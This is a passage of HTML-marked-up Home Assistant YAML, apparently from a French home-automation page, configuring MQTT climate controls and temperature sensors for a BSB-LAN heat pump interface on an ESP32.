&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; {% set values = { &amp;#39;0 - Protection&amp;#39;:&amp;#39;off&amp;#39;, &amp;#39;1 - Automatic&amp;#39;:&amp;#39;auto&amp;#39;, &amp;#39;2 - Reduced&amp;#39;:&amp;#39;cool&amp;#39;, &amp;#39;3 - Comfort&amp;#39;:&amp;#39;heat&amp;#39;} %}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; {{ values[value] if value in values.keys() else &amp;#39;off&amp;#39; }}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mode_command_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;mode_command_template&lt;/span&gt;: &amp;gt;-&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; {% set values = { &amp;#39;off&amp;#39;:&amp;#39;S1000=0&amp;#39;, &amp;#39;auto&amp;#39;:&amp;#39;S1000=1&amp;#39;, &amp;#39;cool&amp;#39;:&amp;#39;S1000=2&amp;#39;, &amp;#39;heat&amp;#39;:&amp;#39;S1000=3&amp;#39;} %}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; {{ values[value] if value in values.keys() else &amp;#39;0&amp;#39; }}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;current_temperature_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8770&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;min_temp&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;max_temp&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temp_step&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temperature_high_command_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temperature_high_command_template&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{&amp;#39;S1010=&amp;#39;+ (value | string)}}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temperature_high_state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/1010&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temperature_low_command_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temperature_low_command_template&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{&amp;#39;S1012=&amp;#39;+ (value | string)}}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;temperature_low_state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/1012&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;qos&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;mqtt_sensor.yaml&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Température extérieure&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8700&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8700&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;measurement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Température rez-de-chaussée&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8740&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8740&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;measurement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Température étage&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8770&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8770&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;measurement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Température ECS&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8830&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8830&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;measurement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;PAC - Compresseur&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8413&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8413&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;%&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;power_factor&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;measurement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Température de départ (consigne)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8411&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8411&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;measurement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Température de départ&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8412&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8412&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;measurement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Température de départ 2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8773&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8773&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;measurement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;model&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;ESP32&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;manufacturer&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Température de retour&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unique_id&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;bsb_lan_8410&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_topic&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;BSB-LAN/8410&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;unit_of_measurement&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;°C&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;temperature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;state_class&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;measurement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;device&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;identifiers&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;00000002&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Pompe à chaleur&amp;#34;&lt;/span&gt;,
